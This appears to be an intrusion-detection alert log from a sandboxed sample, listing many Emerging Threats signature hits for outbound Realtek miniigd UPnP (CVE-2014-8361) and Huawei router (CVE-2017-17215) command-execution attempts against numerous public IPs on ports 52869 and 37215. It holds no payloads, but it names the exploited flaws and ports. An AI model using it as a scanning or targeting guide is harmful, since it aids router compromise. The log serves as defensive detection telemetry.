07/20/24-23:01:52.193913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54490	52869	192.168.2.23	179.220.184.21
07/20/24-23:01:00.654988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45546	37215	192.168.2.23	157.12.106.29
07/20/24-23:01:44.870961	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42288	52869	192.168.2.23	91.225.198.252
07/20/24-23:01:08.585790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58538	52869	192.168.2.23	34.53.37.254
07/20/24-23:01:45.582631	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37576	52869	192.168.2.23	47.192.243.189
07/20/24-23:01:41.758923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35628	52869	192.168.2.23	193.15.215.48
07/20/24-23:01:45.196200	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56512	52869	192.168.2.23	63.237.109.125
07/20/24-23:01:56.400580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57238	52869	192.168.2.23	140.234.5.119
07/20/24-23:01:14.105395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42942	37215	192.168.2.23	41.69.181.229
07/20/24-23:01:14.158864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42424	52869	192.168.2.23	138.74.14.28
07/20/24-23:01:43.190671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54998	52869	192.168.2.23	120.189.67.125
07/20/24-23:01:45.197712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46672	52869	192.168.2.23	153.197.120.12
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48420	37215	192.168.2.23	197.0.21.49
07/20/24-23:01:41.263141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43200	52869	192.168.2.23	192.12.11.101
07/20/24-23:01:55.606975	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58218	52869	192.168.2.23	64.98.234.97
07/20/24-23:00:57.221313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37348	37215	192.168.2.23	86.49.143.0
07/20/24-23:01:41.580548	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52210	52869	192.168.2.23	94.159.177.21
07/20/24-23:01:44.533289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44910	52869	192.168.2.23	103.0.203.61
07/20/24-23:01:27.650871	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52838	37215	192.168.2.23	41.119.213.132
07/20/24-23:01:07.075937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51020	37215	192.168.2.23	157.136.153.134
07/20/24-23:01:43.669446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47742	52869	192.168.2.23	218.231.87.4
07/20/24-23:01:55.974605	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52974	52869	192.168.2.23	187.223.52.236
07/20/24-23:01:55.870348	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37940	52869	192.168.2.23	73.223.107.25
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33456	37215	192.168.2.23	117.206.232.47
07/20/24-23:01:47.652628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50702	52869	192.168.2.23	2.77.241.40
07/20/24-23:01:03.813611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41022	52869	192.168.2.23	57.224.40.86
07/20/24-23:01:51.107223	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36048	52869	192.168.2.23	97.235.141.174
07/20/24-23:01:44.890268	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48568	52869	192.168.2.23	18.141.77.94
07/20/24-23:01:49.040108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51954	52869	192.168.2.23	106.212.70.208
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45108	37215	192.168.2.23	197.162.44.242
07/20/24-23:01:08.919725	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45992	52869	192.168.2.23	199.61.238.254
07/20/24-23:01:08.600680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34588	52869	192.168.2.23	13.188.89.36
07/20/24-23:01:41.304640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60192	52869	192.168.2.23	40.23.131.130
07/20/24-23:01:27.654172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48970	37215	192.168.2.23	41.27.67.46
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54320	37215	192.168.2.23	197.79.255.113
07/20/24-23:01:46.384516	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56926	52869	192.168.2.23	126.192.25.7
07/20/24-23:01:02.104571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52394	37215	192.168.2.23	41.218.93.135
07/20/24-23:01:45.098864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52864	52869	192.168.2.23	145.236.96.35
07/20/24-23:01:04.113037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53606	37215	192.168.2.23	197.209.73.42
07/20/24-23:01:24.894099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56780	37215	192.168.2.23	157.20.66.65
07/20/24-23:01:54.367854	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41138	52869	192.168.2.23	133.36.37.101
07/20/24-23:01:49.563475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52248	52869	192.168.2.23	74.211.16.76
07/20/24-23:01:06.994337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40450	37215	192.168.2.23	157.242.29.232
07/20/24-23:01:56.304951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54288	52869	192.168.2.23	187.63.42.28
07/20/24-23:01:53.999179	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43092	52869	192.168.2.23	105.232.226.131
07/20/24-23:02:06.767377	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60718	52869	192.168.2.23	157.69.166.230
07/20/24-23:01:50.313415	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42688	52869	192.168.2.23	149.8.44.5
07/20/24-23:01:02.047411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43302	37215	192.168.2.23	157.111.26.76
07/20/24-23:01:47.808678	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53342	52869	192.168.2.23	206.56.63.93
07/20/24-23:01:27.730585	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54896	37215	192.168.2.23	41.64.148.15
07/20/24-23:01:02.104572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32886	37215	192.168.2.23	197.169.129.161
07/20/24-23:01:41.236294	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55250	52869	192.168.2.23	221.157.224.96
07/20/24-23:01:47.766845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49744	52869	192.168.2.23	57.81.97.111
07/20/24-23:01:00.634089	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48680	37215	192.168.2.23	1.70.219.104
07/20/24-23:01:47.006773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37276	52869	192.168.2.23	45.208.1.181
07/20/24-23:01:44.464382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42596	52869	192.168.2.23	193.12.149.189
07/20/24-23:01:59.738271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44640	52869	192.168.2.23	35.61.70.96
07/20/24-23:00:57.221301	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49974	37215	192.168.2.23	197.231.189.109
07/20/24-23:01:31.333872	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51986	52869	192.168.2.23	103.227.74.238
07/20/24-23:01:46.520663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52002	52869	192.168.2.23	41.250.44.72
07/20/24-23:01:52.305893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60312	52869	192.168.2.23	96.239.240.238
07/20/24-23:00:59.158279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58944	37215	192.168.2.23	41.20.92.100
07/20/24-23:01:20.599458	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34350	52869	192.168.2.23	130.80.10.211
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42506	37215	192.168.2.23	157.115.1.86
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57500	37215	192.168.2.23	157.244.205.180
07/20/24-23:01:42.780168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46568	52869	192.168.2.23	93.36.62.56
07/20/24-23:01:46.225146	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47758	52869	192.168.2.23	90.202.157.65
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51976	37215	192.168.2.23	197.98.241.246
07/20/24-23:02:17.128771	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53648	52869	192.168.2.23	61.109.235.175
07/20/24-23:01:12.861753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49736	52869	192.168.2.23	123.52.107.77
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35840	37215	192.168.2.23	72.48.156.196
07/20/24-23:01:47.749865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59638	52869	192.168.2.23	210.80.122.96
07/20/24-23:01:44.878540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51740	52869	192.168.2.23	90.145.205.177
07/20/24-23:01:00.633984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36626	37215	192.168.2.23	217.159.91.139
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57110	37215	192.168.2.23	41.126.189.157
07/20/24-23:01:08.615260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46546	52869	192.168.2.23	109.115.27.6
07/20/24-23:01:43.039504	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37938	52869	192.168.2.23	40.50.75.236
07/20/24-23:01:45.350108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57110	52869	192.168.2.23	179.57.28.204
07/20/24-23:01:48.216693	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49644	52869	192.168.2.23	18.141.77.94
07/20/24-23:01:59.704241	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54748	52869	192.168.2.23	95.71.29.54
07/20/24-23:01:43.203681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43904	52869	192.168.2.23	93.0.10.232
07/20/24-23:01:20.132511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53800	37215	192.168.2.23	157.242.54.73
07/20/24-23:01:47.995637	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54930	52869	192.168.2.23	17.78.214.126
07/20/24-23:01:42.014480	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46038	52869	192.168.2.23	152.44.195.237
07/20/24-23:01:44.500152	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40244	52869	192.168.2.23	186.206.154.241
07/20/24-23:01:44.602081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33104	52869	192.168.2.23	140.138.195.141
07/20/24-23:01:07.075937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40714	37215	192.168.2.23	41.45.118.19
07/20/24-23:01:42.501090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60800	52869	192.168.2.23	104.116.61.223
07/20/24-23:01:54.672544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37854	52869	192.168.2.23	142.143.249.204
07/20/24-23:01:20.603553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60298	52869	192.168.2.23	52.234.117.101
07/20/24-23:01:42.672378	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58926	52869	192.168.2.23	112.83.62.168
07/20/24-23:01:27.656128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35156	37215	192.168.2.23	41.243.28.32
07/20/24-23:01:31.986571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50630	37215	192.168.2.23	118.50.177.22
07/20/24-23:01:49.055673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58984	52869	192.168.2.23	170.132.161.86
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37164	37215	192.168.2.23	121.14.221.201
07/20/24-23:01:40.310207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56386	37215	192.168.2.23	157.65.169.99
07/20/24-23:01:58.423882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37532	52869	192.168.2.23	19.191.190.54
07/20/24-23:01:58.608087	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37112	52869	192.168.2.23	130.253.20.234
07/20/24-23:01:44.922746	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55594	52869	192.168.2.23	216.41.229.158
07/20/24-23:01:49.271801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54610	52869	192.168.2.23	88.29.47.240
07/20/24-23:01:20.098209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38716	37215	192.168.2.23	197.245.168.107
07/20/24-23:01:45.580167	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40960	52869	192.168.2.23	75.147.225.215
07/20/24-23:01:04.053605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57400	37215	192.168.2.23	157.25.106.26
07/20/24-23:01:51.290278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33108	52869	192.168.2.23	139.158.177.85
07/20/24-23:01:55.508957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43964	52869	192.168.2.23	163.75.91.9
07/20/24-23:01:31.983105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55394	37215	192.168.2.23	197.7.27.198
07/20/24-23:01:51.979094	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41372	52869	192.168.2.23	112.142.124.162
07/20/24-23:00:59.178062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34654	37215	192.168.2.23	197.241.127.58
07/20/24-23:01:41.322614	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60750	52869	192.168.2.23	197.25.236.70
07/20/24-23:01:31.333071	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39858	52869	192.168.2.23	148.228.70.58
07/20/24-23:01:48.520303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33856	52869	192.168.2.23	68.106.199.227
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34000	37215	192.168.2.23	41.60.131.118
07/20/24-23:01:04.961552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42842	52869	192.168.2.23	180.155.132.167
07/20/24-23:01:44.158709	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38834	52869	192.168.2.23	36.18.145.215
07/20/24-23:01:49.537827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59670	52869	192.168.2.23	104.171.202.164
07/20/24-23:01:02.316096	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49258	52869	192.168.2.23	190.34.49.149
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55228	37215	192.168.2.23	1.136.199.61
07/20/24-23:01:41.286382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45518	52869	192.168.2.23	145.71.96.96
07/20/24-23:01:55.820768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45600	52869	192.168.2.23	148.113.15.213
07/20/24-23:01:58.504284	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33126	52869	192.168.2.23	196.117.225.80
07/20/24-23:01:47.420081	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33654	52869	192.168.2.23	43.229.235.45
07/20/24-23:01:43.147289	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41806	52869	192.168.2.23	113.1.100.136
07/20/24-23:01:04.050503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38646	37215	192.168.2.23	157.139.23.30
07/20/24-23:01:12.841280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60678	52869	192.168.2.23	42.191.217.231
07/20/24-23:01:50.845923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55978	52869	192.168.2.23	92.64.232.40
07/20/24-23:01:42.677933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37062	52869	192.168.2.23	32.146.19.98
07/20/24-23:01:49.278428	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37428	52869	192.168.2.23	18.233.238.80
07/20/24-23:01:11.631010	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55038	37215	192.168.2.23	41.178.204.197
07/20/24-23:01:45.965905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56456	52869	192.168.2.23	174.141.27.208
07/20/24-23:01:44.640473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33286	52869	192.168.2.23	12.188.189.35
07/20/24-23:00:57.221504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48608	37215	192.168.2.23	175.193.29.172
07/20/24-23:01:02.395457	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52660	52869	192.168.2.23	82.99.109.50
07/20/24-23:01:04.757513	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35420	52869	192.168.2.23	68.46.168.107
07/20/24-23:01:01.308250	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47302	52869	192.168.2.23	117.49.51.0
07/20/24-23:01:02.745352	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50118	52869	192.168.2.23	74.116.148.181
07/20/24-23:01:24.933370	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52192	37215	192.168.2.23	197.181.95.82
07/20/24-23:01:47.614619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59020	52869	192.168.2.23	154.117.210.216
07/20/24-23:01:01.839255	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41974	52869	192.168.2.23	159.20.45.153
07/20/24-23:01:02.762457	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40778	52869	192.168.2.23	104.152.150.214
07/20/24-23:01:42.497728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37924	52869	192.168.2.23	118.3.222.239
07/20/24-23:01:46.113314	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55710	52869	192.168.2.23	74.205.109.96
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51258	37215	192.168.2.23	209.77.38.74
07/20/24-23:01:50.848727	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52016	52869	192.168.2.23	170.121.46.240
07/20/24-23:01:43.318305	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53044	52869	192.168.2.23	148.119.6.34
07/20/24-23:00:59.178062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34032	37215	192.168.2.23	197.67.179.143
07/20/24-23:01:42.365783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36496	52869	192.168.2.23	84.227.123.147
07/20/24-23:01:45.667239	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53328	52869	192.168.2.23	153.234.108.85
07/20/24-23:01:52.838689	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55674	52869	192.168.2.23	136.248.242.20
07/20/24-23:01:54.947006	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60546	52869	192.168.2.23	105.224.21.3
07/20/24-23:01:44.602081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49514	52869	192.168.2.23	70.50.33.70
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54504	37215	192.168.2.23	197.147.196.56
07/20/24-23:01:27.653309	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56710	37215	192.168.2.23	197.70.205.23
07/20/24-23:01:47.850156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35398	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:08.590754	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38592	52869	192.168.2.23	63.80.178.96
07/20/24-23:01:42.960666	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56690	52869	192.168.2.23	34.53.132.35
07/20/24-23:01:41.249014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58350	52869	192.168.2.23	162.227.232.27
07/20/24-23:01:43.058685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44428	52869	192.168.2.23	84.198.11.250
07/20/24-23:01:04.114673	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53382	37215	192.168.2.23	41.113.152.211
07/20/24-23:01:41.380560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34342	52869	192.168.2.23	70.124.249.51
07/20/24-23:01:31.979565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40992	37215	192.168.2.23	41.60.50.103
07/20/24-23:01:49.810143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35336	52869	192.168.2.23	34.147.70.115
07/20/24-23:01:53.675171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39908	52869	192.168.2.23	145.80.152.144
07/20/24-23:01:56.378725	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50554	52869	192.168.2.23	78.1.44.43
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49292	37215	192.168.2.23	197.139.56.71
07/20/24-23:01:24.862410	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40984	37215	192.168.2.23	157.167.1.107
07/20/24-23:01:43.058686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53072	52869	192.168.2.23	162.142.171.159
07/20/24-23:01:58.602024	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52422	52869	192.168.2.23	216.216.135.51
07/20/24-23:01:58.729502	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49908	52869	192.168.2.23	111.91.178.70
